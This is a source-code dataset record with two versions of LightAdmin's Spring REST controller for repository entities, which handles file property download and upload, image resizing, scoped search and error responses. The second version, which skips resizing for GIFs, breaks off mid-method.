Java | apache-2.0 | 542ac913639e5a28ec998a8c1f16a2aaaa51394c | 0 | volkan/light-admin,atklab/light-admin,tariqbob/fr.univnantes.alma.oomph,dalakov/light-admin,julianromera/light-admin,honestrock/light-admin,domix/light-admin,dalakov/light-admin,TariqBoubetana/fr.univnantes.alma.oomph,cloudbearings/light-admin,atklab/light-admin,la-team/light-admin,Predictia/light-admin,la-team/light-admin,honestrock/light-admin,domix/light-admin,tariqbob/fr.univnantes.alma.oomph,julianromera/light-admin,cloudbearings/light-admin,Predictia/light-admin,TariqBoubetana/fr.univnantes.alma.oomph,volkan/light-admin | package org.lightadmin.core.rest;
import com.google.common.base.Predicate;
import com.google.common.collect.Collections2;
import com.google.common.collect.Lists;
import org.apache.commons.io.IOUtils;
import org.apache.tika.metadata.Metadata;
import org.apache.tika.parser.AutoDetectParser;
import org.apache.tika.parser.ParseContext;
import org.apache.tika.parser.Parser;
import org.apache.tika.sax.BodyContentHandler;
import org.apache.tika.sax.ContentHandlerDecorator;
import org.imgscalr.Scalr;
import org.lightadmin.core.config.bootstrap.parsing.configuration.DomainConfigurationUnitType;
import org.lightadmin.core.config.domain.DomainTypeAdministrationConfiguration;
import org.lightadmin.core.config.domain.DomainTypeBasicConfiguration;
import org.lightadmin.core.config.domain.GlobalAdministrationConfiguration;
import org.lightadmin.core.config.domain.GlobalAdministrationConfigurationAware;
import org.lightadmin.core.config.domain.field.FieldMetadata;
import org.lightadmin.core.config.domain.scope.ScopeMetadata;
import org.lightadmin.core.config.domain.scope.ScopeMetadataUtils;
import org.lightadmin.core.persistence.metamodel.DomainTypeAttributeMetadata;
import org.lightadmin.core.persistence.metamodel.DomainTypeEntityMetadata;
import org.lightadmin.core.persistence.repository.DynamicJpaRepository;
import org.lightadmin.core.search.SpecificationCreator;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.Sort;
import org.springframework.data.jpa.domain.Specification;
import org.springframework.data.jpa.domain.Specifications;
import org.springframework.data.repository.CrudRepository;
import org.springframework.data.rest.repository.AttributeMetadata;
import org.springframework.data.rest.repository.RepositoryConstraintViolationException;
import org.springframework.data.rest.repository.RepositoryMetadata;
import org.springframework.data.rest.webmvc.PagingAndSorting;
import org.springframework.hateoas.Link;
import org.springframework.hateoas.PagedResources;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.http.converter.HttpMessageNotWritableException;
import org.springframework.http.server.ServletServerHttpRequest;
import org.springframework.validation.FieldError;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import javax.annotation.PostConstruct;
import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import java.net.URI;
import java.util.*;
import static com.google.common.collect.Lists.newArrayList;
import static com.google.common.collect.Lists.newLinkedList;
import static com.google.common.collect.Maps.newHashMap;
import static com.google.common.collect.Maps.newLinkedHashMap;
import static java.util.Arrays.asList;
import static java.util.Collections.singletonMap;
import static org.lightadmin.core.config.domain.scope.ScopeMetadataUtils.isPredicateScope;
import static org.lightadmin.core.config.domain.scope.ScopeMetadataUtils.isSpecificationScope;
@SuppressWarnings("unchecked")
@RequestMapping("/rest")
public class DynamicRepositoryRestController extends FlexibleRepositoryRestController implements GlobalAdministrationConfigurationAware {
private SpecificationCreator specificationCreator;
private GlobalAdministrationConfiguration configuration;
private ApplicationContext applicationContext;
@PostConstruct
public void init() throws Exception {
specificationCreator = new SpecificationCreator( conversionService, configuration );
}
@RequestMapping(value = "/{repository}", method = RequestMethod.PUT)
@ResponseBody
public ResponseEntity<?> createOrUpdate( ServletServerHttpRequest request, URI baseUri, @PathVariable String repository ) throws IOException, IllegalAccessException, InstantiationException {
return super.createOrUpdate( request, baseUri, repository, "" );
}
private static final Date NULL_PLACEHOLDER_MAGIC_DATE = new Date( -377743392000001L );
@Override
@SuppressWarnings("rawtypes")
protected void attrMetaSet( AttributeMetadata attrMeta, Object incomingVal, Object entity ) {
DomainTypeBasicConfiguration repo;
if ( attrMeta.isCollectionLike() || attrMeta.isSetLike() ) {
// Trying to avoid collection-was-no-longer-referenced issue
// if the collection is modifiable
try {
Collection col = ( Collection ) attrMeta.get( entity );
col.clear();
col.addAll( ( Collection ) incomingVal );
} catch ( UnsupportedOperationException e ) {
attrMeta.set( incomingVal, entity );
}
} else if ( ( repo = configuration.forDomainType( attrMeta.type() ) ) != null && ( repo.getRepository().isNullPlaceholder( incomingVal ) ) ) {
attrMeta.set( null, entity );
} else if ( NULL_PLACEHOLDER_MAGIC_DATE.equals( incomingVal ) ) {
attrMeta.set( null, entity );
} else {
attrMeta.set( incomingVal, entity );
}
}
@RequestMapping(value = "/{repository}/{id}/{property}/file", method = RequestMethod.DELETE)
@ResponseBody
public ResponseEntity<?> deleteFileOfPropertyOfEntity( ServletServerHttpRequest request, URI baseUri, @PathVariable String repository, @PathVariable String id, @PathVariable String property ) throws IOException {
final RepositoryMetadata repoMeta = repositoryMetadataFor( repository );
final Serializable serId = stringToSerializable( id, ( Class<? extends Serializable> ) repoMeta.entityMetadata().idAttribute().type() );
final CrudRepository repo = repoMeta.repository();
final Object entity;
final AttributeMetadata attrMeta;
if ( null == ( entity = repo.findOne( serId ) ) || null == ( attrMeta = repoMeta.entityMetadata().attribute( property ) ) ) {
return notFoundResponse( request );
}
attrMeta.set( null, entity );
repo.save( entity );
return new ResponseEntity( new HttpHeaders(), HttpStatus.OK );
}
@RequestMapping(value = "/{repository}/{id}/{property}/file", method = RequestMethod.GET)
@ResponseBody
public ResponseEntity<?> filePropertyOfEntity( ServletServerHttpRequest request, HttpServletResponse response, URI baseUri, @PathVariable String repository, @PathVariable String id, @PathVariable String property, @RequestParam(value = "width", defaultValue = "-1") int width, @RequestParam(value = "height", defaultValue = "-1") int height ) throws IOException {
final RepositoryMetadata repoMeta = repositoryMetadataFor( repository );
final Serializable serId = stringToSerializable( id, ( Class<? extends Serializable> ) repoMeta.entityMetadata().idAttribute().type() );
final Object entity;
final AttributeMetadata attrMeta;
if ( null == ( entity = repoMeta.repository().findOne( serId ) ) || null == ( attrMeta = repoMeta.entityMetadata().attribute( property ) ) ) {
return notFoundResponse( request );
}
if ( attrMeta.type().equals( byte[].class ) ) {
final byte[] bytes = ( byte[] ) attrMeta.get( entity );
if ( bytes != null ) {
final MediaType mediaType = getMediaType( bytes );
if ( imageResizingRequired( width, height ) ) {
BufferedImage sourceImage = ImageIO.read( new ByteArrayInputStream( bytes ) );
BufferedImage image = resizeImage( sourceImage, width, height );
ImageIO.write( image, mediaType.getSubtype(), response.getOutputStream() );
response.flushBuffer();
} else {
IOUtils.write( bytes, response.getOutputStream() );
response.flushBuffer();
}
HttpHeaders responseHeaders = new HttpHeaders();
responseHeaders.setContentLength( bytes.length );
responseHeaders.setContentType( mediaType );
return new ResponseEntity( responseHeaders, HttpStatus.OK );
}
}
return new ResponseEntity( HttpStatus.BAD_REQUEST );
}
private MediaType getMediaType( final byte[] bytes ) throws IOException {
ContentHandlerDecorator contenthandler = new BodyContentHandler();
Metadata metadata = new Metadata();
Parser parser = new AutoDetectParser();
try {
final ParseContext parseContext = new ParseContext();
parser.parse( new ByteArrayInputStream( bytes ), contenthandler, metadata, parseContext );
return MediaType.parseMediaType( metadata.get( "Content-Type" ) );
} catch ( Exception e ) {
return MediaType.IMAGE_JPEG;
}
}
private boolean imageResizingRequired( final int width, final int height ) {
return width > 0 || height > 0;
}
private BufferedImage resizeImage( BufferedImage sourceImage, int width, int height ) throws IOException {
final int currentWidth = sourceImage.getWidth();
final int currentHeight = sourceImage.getHeight();
float ratio = ( ( float ) currentHeight / ( float ) currentWidth );
if ( width <= 0 ) {
width = ( int ) ( height / ratio );
}
if ( height <= 0 ) {
height = ( int ) ( width * ratio );
}
return Scalr.resize( sourceImage, Scalr.Method.ULTRA_QUALITY, Scalr.Mode.AUTOMATIC, width, height, Scalr.OP_ANTIALIAS );
}
@RequestMapping( value = "/upload", method = {RequestMethod.PUT, RequestMethod.POST} )
@ResponseBody
public ResponseEntity<?> saveFilePropertyOfEntity( final ServletServerHttpRequest request ) throws IOException {
final MultipartHttpServletRequest multipartHttpServletRequest = ( MultipartHttpServletRequest ) request.getServletRequest();
final Map<String, MultipartFile> fileMap = multipartHttpServletRequest.getFileMap();
if ( !fileMap.isEmpty() ) {
final Map.Entry<String, MultipartFile> fileEntry = fileMap.entrySet().iterator().next();
final Map<String, Object> result = newLinkedHashMap();
result.put( "fileName", fileEntry.getValue().getOriginalFilename() );
result.put( "fileContent", fileEntry.getValue().getBytes() );
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), result );
}
return new ResponseEntity( HttpStatus.METHOD_NOT_ALLOWED );
}
@ResponseBody
@RequestMapping( value = "/{repositoryName}/{id}/unit/{configurationUnit}", method = RequestMethod.GET )
public ResponseEntity<?> entity( ServletServerHttpRequest request, URI baseUri, @PathVariable String repositoryName, @PathVariable String id, @PathVariable String configurationUnit ) throws IOException {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
Serializable entityId = stringToSerializable( id, ( Class<? extends Serializable> ) domainTypeEntityMetadata.getIdAttribute().getType() );
final Object entity = repository.findOne( entityId );
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), new DomainTypeResource( entity, fields( configurationUnit, domainTypeAdministrationConfiguration ) ) );
}
// TODO: Draft impl.
@ResponseBody
@RequestMapping( value = "/{repositoryName}/scope/{scopeName}/search/count", method = RequestMethod.GET, produces = "application/json" )
public ResponseEntity<?> countItems( ServletServerHttpRequest request, @SuppressWarnings( "unused" ) URI baseUri, @PathVariable String repositoryName, @PathVariable String scopeName ) {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
final ScopeMetadata scope = domainTypeAdministrationConfiguration.getScopes().getScope( scopeName );
final Specification filterSpecification = specificationFromRequest( request, domainTypeEntityMetadata );
if ( isPredicateScope( scope ) ) {
final ScopeMetadataUtils.PredicateScopeMetadata predicateScope = ( ScopeMetadataUtils.PredicateScopeMetadata ) scope;
return responseEntity( countItemsBySpecificationAndPredicate( repository, filterSpecification, predicateScope.predicate() ) );
}
if ( isSpecificationScope( scope ) ) {
final Specification scopeSpecification = ( ( ScopeMetadataUtils.SpecificationScopeMetadata ) scope ).specification();
return responseEntity( countItemsBySpecification( repository, and( scopeSpecification, filterSpecification ) ) );
}
return responseEntity( countItemsBySpecification( repository, filterSpecification ) );
}
@ResponseBody
@RequestMapping( value = "/{repositoryName}/scope/{scopeName}/search", method = RequestMethod.GET )
public ResponseEntity<?> filterEntities( ServletServerHttpRequest request, @SuppressWarnings( "unused" ) URI baseUri, PagingAndSorting pageSort, @PathVariable String repositoryName, @PathVariable String scopeName ) throws IOException {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
final ScopeMetadata scope = domainTypeAdministrationConfiguration.getScopes().getScope( scopeName );
final Specification filterSpecification = specificationFromRequest( request, domainTypeEntityMetadata );
Set<FieldMetadata> listViewFields = domainTypeAdministrationConfiguration.getListViewFragment().getFields();
if ( isPredicateScope( scope ) ) {
final ScopeMetadataUtils.PredicateScopeMetadata predicateScope = ( ScopeMetadataUtils.PredicateScopeMetadata ) scope;
final Page page = findBySpecificationAndPredicate( repository, filterSpecification, predicateScope.predicate(), pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
if ( isSpecificationScope( scope ) ) {
final Specification scopeSpecification = ( ( ScopeMetadataUtils.SpecificationScopeMetadata ) scope ).specification();
Page page = findItemsBySpecification( repository, and( scopeSpecification, filterSpecification ), pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
Page page = findItemsBySpecification( repository, filterSpecification, pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
@Override
@ExceptionHandler( RepositoryConstraintViolationException.class )
@ResponseBody
public ResponseEntity handleValidationFailure( RepositoryConstraintViolationException ex, ServletServerHttpRequest request ) throws IOException {
final Map packet = newHashMap();
final List<Map<String, String>> errors = newArrayList();
for ( FieldError fe : ex.getErrors().getFieldErrors() ) {
List<Object> args = newArrayList( fe.getObjectName(), fe.getField(), fe.getRejectedValue() );
if ( fe.getArguments() != null ) {
Collections.addAll( args, fe.getArguments() );
}
String msg = applicationContext.getMessage( fe.getCode(), args.toArray(), fe.getDefaultMessage(), null );
Map<String, String> error = newHashMap();
error.put( "field", fe.getField() );
error.put( "message", msg );
errors.add( error );
}
packet.put( "errors", errors );
return negotiateResponse( request, HttpStatus.BAD_REQUEST, new HttpHeaders(), packet );
}
@Override
@ExceptionHandler( Exception.class )
@ResponseBody
public ResponseEntity handleMiscFailures( Throwable t, ServletServerHttpRequest request ) throws IOException {
LOG.debug( "Handled exception", t );
Map<String, String> error = singletonMap( "message", t.getLocalizedMessage() );
Map packet = newHashMap();
packet.put( "errors", asList( error ) );
return negotiateResponse( request, HttpStatus.BAD_REQUEST, new HttpHeaders(), packet );
}
@Override
@ExceptionHandler( {HttpMessageNotReadableException.class, HttpMessageNotWritableException.class} )
@ResponseBody
public ResponseEntity handleMessageConversionFailure( Exception ex, HttpServletRequest request ) throws IOException {
LOG.error( "Handled exception", ex );
return handleMiscFailures( ex.getCause(), new ServletServerHttpRequest( request ) );
}
private Set<FieldMetadata> fields( String configurationUnit, DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration ) {
final DomainConfigurationUnitType configurationUnitType = DomainConfigurationUnitType.forName( configurationUnit );
switch ( configurationUnitType ) {
case SHOW_VIEW:
return domainTypeAdministrationConfiguration.getShowViewFragment().getFields();
case FORM_VIEW:
return domainTypeAdministrationConfiguration.getFormViewFragment().getFields();
case QUICK_VIEW:
return domainTypeAdministrationConfiguration.getQuickViewFragment().getFields();
default:
return domainTypeAdministrationConfiguration.getShowViewFragment().getFields();
}
}
private long countItemsBySpecificationAndPredicate( DynamicJpaRepository repository, final Specification specification, Predicate predicate ) {
final List<?> items = findItemsBySpecification( repository, specification );
return Collections2.filter( items, predicate ).size();
}
private long countItemsBySpecification( final DynamicJpaRepository repository, final Specification specification ) {
return repository.count( specification );
}
private Page findBySpecificationAndPredicate( DynamicJpaRepository repository, final Specification specification, Predicate predicate, final PagingAndSorting pageSort ) {
final List<?> items = findItemsBySpecification( repository, specification, pageSort.getSort() );
return selectPage( newArrayList( Collections2.filter( items, predicate ) ), pageSort );
}
private Page<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification, final PagingAndSorting pageSort ) {
return repository.findAll( specification, pageSort );
}
private List<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification, final Sort sort ) {
return repository.findAll( specification, sort );
}
private List<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification ) {
return repository.findAll( specification );
}
private Page<?> selectPage( List<Object> items, PagingAndSorting pageSort ) {
final List<Object> itemsOnPage = items.subList( pageSort.getOffset(), Math.min( items.size(), pageSort.getOffset() + pageSort.getPageSize() ) );
return new PageImpl<Object>( itemsOnPage, pageSort, items.size() );
}
private Specification and( Specification specification, Specification otherSpecification ) {
return Specifications.where( specification ).and( otherSpecification );
}
private Specification specificationFromRequest( ServletServerHttpRequest request, final DomainTypeEntityMetadata<? extends DomainTypeAttributeMetadata> entityMetadata ) {
final Map<String, String[]> parameters = request.getServletRequest().getParameterMap();
return specificationCreator.toSpecification( entityMetadata, parameters );
}
private ResponseEntity<?> negotiateResponse( ServletServerHttpRequest request, Page page, PagedResources.PageMetadata pageMetadata, Set<FieldMetadata> fieldMetadatas ) throws IOException {
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), new PagedResources( toResources( page, fieldMetadatas ), pageMetadata, Lists.<Link>newArrayList() ) );
}
private PagedResources.PageMetadata pageMetadata( final Page page ) {
return new PagedResources.PageMetadata( page.getSize(), page.getNumber() + 1, page.getTotalElements(), page.getTotalPages() );
}
private List<Object> toResources( Page page, Set<FieldMetadata> fieldMetadatas ) {
if ( !page.hasContent() ) {
return newLinkedList();
}
List<Object> allResources = newArrayList();
for ( final Object item : page ) {
allResources.add( new DomainTypeResource( item, fieldMetadatas ) );
}
return allResources;
}
private ResponseEntity<String> responseEntity( Object value ) {
return new ResponseEntity<String>( String.valueOf( value ), new HttpHeaders(), HttpStatus.OK );
}
@Override
@Autowired
public void setGlobalAdministrationConfiguration( final GlobalAdministrationConfiguration configuration ) {
this.configuration = configuration;
}
@Override
public void setApplicationContext( ApplicationContext applicationContext ) throws BeansException {
super.setApplicationContext( applicationContext );
this.applicationContext = applicationContext;
}
}
| lightadmin-core/src/main/java/org/lightadmin/core/rest/DynamicRepositoryRestController.java | package org.lightadmin.core.rest;
import com.google.common.base.Predicate;
import com.google.common.collect.Collections2;
import com.google.common.collect.Lists;
import org.apache.commons.io.IOUtils;
import org.apache.tika.metadata.Metadata;
import org.apache.tika.parser.AutoDetectParser;
import org.apache.tika.parser.ParseContext;
import org.apache.tika.parser.Parser;
import org.apache.tika.sax.BodyContentHandler;
import org.apache.tika.sax.ContentHandlerDecorator;
import org.imgscalr.Scalr;
import org.lightadmin.core.config.bootstrap.parsing.configuration.DomainConfigurationUnitType;
import org.lightadmin.core.config.domain.DomainTypeAdministrationConfiguration;
import org.lightadmin.core.config.domain.DomainTypeBasicConfiguration;
import org.lightadmin.core.config.domain.GlobalAdministrationConfiguration;
import org.lightadmin.core.config.domain.GlobalAdministrationConfigurationAware;
import org.lightadmin.core.config.domain.field.FieldMetadata;
import org.lightadmin.core.config.domain.scope.ScopeMetadata;
import org.lightadmin.core.config.domain.scope.ScopeMetadataUtils;
import org.lightadmin.core.persistence.metamodel.DomainTypeAttributeMetadata;
import org.lightadmin.core.persistence.metamodel.DomainTypeEntityMetadata;
import org.lightadmin.core.persistence.repository.DynamicJpaRepository;
import org.lightadmin.core.search.SpecificationCreator;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.Sort;
import org.springframework.data.jpa.domain.Specification;
import org.springframework.data.jpa.domain.Specifications;
import org.springframework.data.repository.CrudRepository;
import org.springframework.data.rest.repository.AttributeMetadata;
import org.springframework.data.rest.repository.RepositoryConstraintViolationException;
import org.springframework.data.rest.repository.RepositoryMetadata;
import org.springframework.data.rest.webmvc.PagingAndSorting;
import org.springframework.hateoas.Link;
import org.springframework.hateoas.PagedResources;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.http.converter.HttpMessageNotWritableException;
import org.springframework.http.server.ServletServerHttpRequest;
import org.springframework.validation.FieldError;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import javax.annotation.PostConstruct;
import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import java.net.URI;
import java.util.*;
import static com.google.common.collect.Lists.newArrayList;
import static com.google.common.collect.Lists.newLinkedList;
import static com.google.common.collect.Maps.newHashMap;
import static com.google.common.collect.Maps.newLinkedHashMap;
import static java.util.Arrays.asList;
import static java.util.Collections.singletonMap;
import static org.lightadmin.core.config.domain.scope.ScopeMetadataUtils.isPredicateScope;
import static org.lightadmin.core.config.domain.scope.ScopeMetadataUtils.isSpecificationScope;
@SuppressWarnings("unchecked")
@RequestMapping("/rest")
public class DynamicRepositoryRestController extends FlexibleRepositoryRestController implements GlobalAdministrationConfigurationAware {
private SpecificationCreator specificationCreator;
private GlobalAdministrationConfiguration configuration;
private ApplicationContext applicationContext;
@PostConstruct
public void init() throws Exception {
specificationCreator = new SpecificationCreator( conversionService, configuration );
}
@RequestMapping(value = "/{repository}", method = RequestMethod.PUT)
@ResponseBody
public ResponseEntity<?> createOrUpdate( ServletServerHttpRequest request, URI baseUri, @PathVariable String repository ) throws IOException, IllegalAccessException, InstantiationException {
return super.createOrUpdate( request, baseUri, repository, "" );
}
private static final Date NULL_PLACEHOLDER_MAGIC_DATE = new Date( -377743392000001L );
@Override
@SuppressWarnings("rawtypes")
protected void attrMetaSet( AttributeMetadata attrMeta, Object incomingVal, Object entity ) {
DomainTypeBasicConfiguration repo;
if ( attrMeta.isCollectionLike() || attrMeta.isSetLike() ) {
// Trying to avoid collection-was-no-longer-referenced issue
// if the collection is modifiable
try {
Collection col = ( Collection ) attrMeta.get( entity );
col.clear();
col.addAll( ( Collection ) incomingVal );
} catch ( UnsupportedOperationException e ) {
attrMeta.set( incomingVal, entity );
}
} else if ( ( repo = configuration.forDomainType( attrMeta.type() ) ) != null && ( repo.getRepository().isNullPlaceholder( incomingVal ) ) ) {
attrMeta.set( null, entity );
} else if ( NULL_PLACEHOLDER_MAGIC_DATE.equals( incomingVal ) ) {
attrMeta.set( null, entity );
} else {
attrMeta.set( incomingVal, entity );
}
}
@RequestMapping(value = "/{repository}/{id}/{property}/file", method = RequestMethod.DELETE)
@ResponseBody
public ResponseEntity<?> deleteFileOfPropertyOfEntity( ServletServerHttpRequest request, URI baseUri, @PathVariable String repository, @PathVariable String id, @PathVariable String property ) throws IOException {
final RepositoryMetadata repoMeta = repositoryMetadataFor( repository );
final Serializable serId = stringToSerializable( id, ( Class<? extends Serializable> ) repoMeta.entityMetadata().idAttribute().type() );
final CrudRepository repo = repoMeta.repository();
final Object entity;
final AttributeMetadata attrMeta;
if ( null == ( entity = repo.findOne( serId ) ) || null == ( attrMeta = repoMeta.entityMetadata().attribute( property ) ) ) {
return notFoundResponse( request );
}
attrMeta.set( null, entity );
repo.save( entity );
return new ResponseEntity( new HttpHeaders(), HttpStatus.OK );
}
@RequestMapping(value = "/{repository}/{id}/{property}/file", method = RequestMethod.GET)
@ResponseBody
public ResponseEntity<?> filePropertyOfEntity( ServletServerHttpRequest request, HttpServletResponse response, URI baseUri, @PathVariable String repository, @PathVariable String id, @PathVariable String property, @RequestParam(value = "width", defaultValue = "-1") int width, @RequestParam(value = "height", defaultValue = "-1") int height ) throws IOException {
final RepositoryMetadata repoMeta = repositoryMetadataFor( repository );
final Serializable serId = stringToSerializable( id, ( Class<? extends Serializable> ) repoMeta.entityMetadata().idAttribute().type() );
final Object entity;
final AttributeMetadata attrMeta;
if ( null == ( entity = repoMeta.repository().findOne( serId ) ) || null == ( attrMeta = repoMeta.entityMetadata().attribute( property ) ) ) {
return notFoundResponse( request );
}
if ( attrMeta.type().equals( byte[].class ) ) {
final byte[] bytes = ( byte[] ) attrMeta.get( entity );
if ( bytes != null ) {
final MediaType mediaType = getMediaType( bytes );
if ( !mediaType.getSubtype().equals( "gif" ) && imageResizingRequired( width, height ) ) {
BufferedImage sourceImage = ImageIO.read( new ByteArrayInputStream( bytes ) );
BufferedImage image = resizeImage( sourceImage, width, height );
ImageIO.write( image, mediaType.getSubtype(), response.getOutputStream() );
response.flushBuffer();
} else {
IOUtils.write( bytes, response.getOutputStream() );
response.flushBuffer();
}
HttpHeaders responseHeaders = new HttpHeaders();
responseHeaders.setContentLength( bytes.length );
responseHeaders.setContentType( mediaType );
return new ResponseEntity( responseHeaders, HttpStatus.OK );
}
}
return new ResponseEntity( HttpStatus.BAD_REQUEST );
}
private MediaType getMediaType( final byte[] bytes ) throws IOException {
ContentHandlerDecorator contenthandler = new BodyContentHandler();
Metadata metadata = new Metadata();
Parser parser = new AutoDetectParser();
try {
final ParseContext parseContext = new ParseContext();
parser.parse( new ByteArrayInputStream( bytes ), contenthandler, metadata, parseContext );
return MediaType.parseMediaType( metadata.get( "Content-Type" ) );
} catch ( Exception e ) {
return MediaType.IMAGE_JPEG;
}
}
private boolean imageResizingRequired( final int width, final int height ) {
return width > 0 || height > 0;
}
private BufferedImage resizeImage( BufferedImage sourceImage, int width, int height ) throws IOException {
final int currentWidth = sourceImage.getWidth();
final int currentHeight = sourceImage.getHeight();
float ratio = ( ( float ) currentHeight / ( float ) currentWidth );
if ( width <= 0 ) {
width = ( int ) ( height / ratio );
}
if ( height <= 0 ) {
height = ( int ) ( width * ratio );
}
return Scalr.resize( sourceImage, Scalr.Method.ULTRA_QUALITY, Scalr.Mode.AUTOMATIC, width, height, Scalr.OP_ANTIALIAS );
}
@RequestMapping( value = "/upload", method = {RequestMethod.PUT, RequestMethod.POST} )
@ResponseBody
public ResponseEntity<?> saveFilePropertyOfEntity( final ServletServerHttpRequest request ) throws IOException {
final MultipartHttpServletRequest multipartHttpServletRequest = ( MultipartHttpServletRequest ) request.getServletRequest();
final Map<String, MultipartFile> fileMap = multipartHttpServletRequest.getFileMap();
if ( !fileMap.isEmpty() ) {
final Map.Entry<String, MultipartFile> fileEntry = fileMap.entrySet().iterator().next();
final Map<String, Object> result = newLinkedHashMap();
result.put( "fileName", fileEntry.getValue().getOriginalFilename() );
result.put( "fileContent", fileEntry.getValue().getBytes() );
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), result );
}
return new ResponseEntity( HttpStatus.METHOD_NOT_ALLOWED );
}
@ResponseBody
@RequestMapping( value = "/{repositoryName}/{id}/unit/{configurationUnit}", method = RequestMethod.GET )
public ResponseEntity<?> entity( ServletServerHttpRequest request, URI baseUri, @PathVariable String repositoryName, @PathVariable String id, @PathVariable String configurationUnit ) throws IOException {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
Serializable entityId = stringToSerializable( id, ( Class<? extends Serializable> ) domainTypeEntityMetadata.getIdAttribute().getType() );
final Object entity = repository.findOne( entityId );
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), new DomainTypeResource( entity, fields( configurationUnit, domainTypeAdministrationConfiguration ) ) );
}
// TODO: Draft impl.
@ResponseBody
@RequestMapping( value = "/{repositoryName}/scope/{scopeName}/search/count", method = RequestMethod.GET, produces = "application/json" )
public ResponseEntity<?> countItems( ServletServerHttpRequest request, @SuppressWarnings( "unused" ) URI baseUri, @PathVariable String repositoryName, @PathVariable String scopeName ) {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
final ScopeMetadata scope = domainTypeAdministrationConfiguration.getScopes().getScope( scopeName );
final Specification filterSpecification = specificationFromRequest( request, domainTypeEntityMetadata );
if ( isPredicateScope( scope ) ) {
final ScopeMetadataUtils.PredicateScopeMetadata predicateScope = ( ScopeMetadataUtils.PredicateScopeMetadata ) scope;
return responseEntity( countItemsBySpecificationAndPredicate( repository, filterSpecification, predicateScope.predicate() ) );
}
if ( isSpecificationScope( scope ) ) {
final Specification scopeSpecification = ( ( ScopeMetadataUtils.SpecificationScopeMetadata ) scope ).specification();
return responseEntity( countItemsBySpecification( repository, and( scopeSpecification, filterSpecification ) ) );
}
return responseEntity( countItemsBySpecification( repository, filterSpecification ) );
}
@ResponseBody
@RequestMapping( value = "/{repositoryName}/scope/{scopeName}/search", method = RequestMethod.GET )
public ResponseEntity<?> filterEntities( ServletServerHttpRequest request, @SuppressWarnings( "unused" ) URI baseUri, PagingAndSorting pageSort, @PathVariable String repositoryName, @PathVariable String scopeName ) throws IOException {
final DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration = configuration.forEntityName( repositoryName );
final DomainTypeEntityMetadata domainTypeEntityMetadata = domainTypeAdministrationConfiguration.getDomainTypeEntityMetadata();
final DynamicJpaRepository repository = domainTypeAdministrationConfiguration.getRepository();
final ScopeMetadata scope = domainTypeAdministrationConfiguration.getScopes().getScope( scopeName );
final Specification filterSpecification = specificationFromRequest( request, domainTypeEntityMetadata );
Set<FieldMetadata> listViewFields = domainTypeAdministrationConfiguration.getListViewFragment().getFields();
if ( isPredicateScope( scope ) ) {
final ScopeMetadataUtils.PredicateScopeMetadata predicateScope = ( ScopeMetadataUtils.PredicateScopeMetadata ) scope;
final Page page = findBySpecificationAndPredicate( repository, filterSpecification, predicateScope.predicate(), pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
if ( isSpecificationScope( scope ) ) {
final Specification scopeSpecification = ( ( ScopeMetadataUtils.SpecificationScopeMetadata ) scope ).specification();
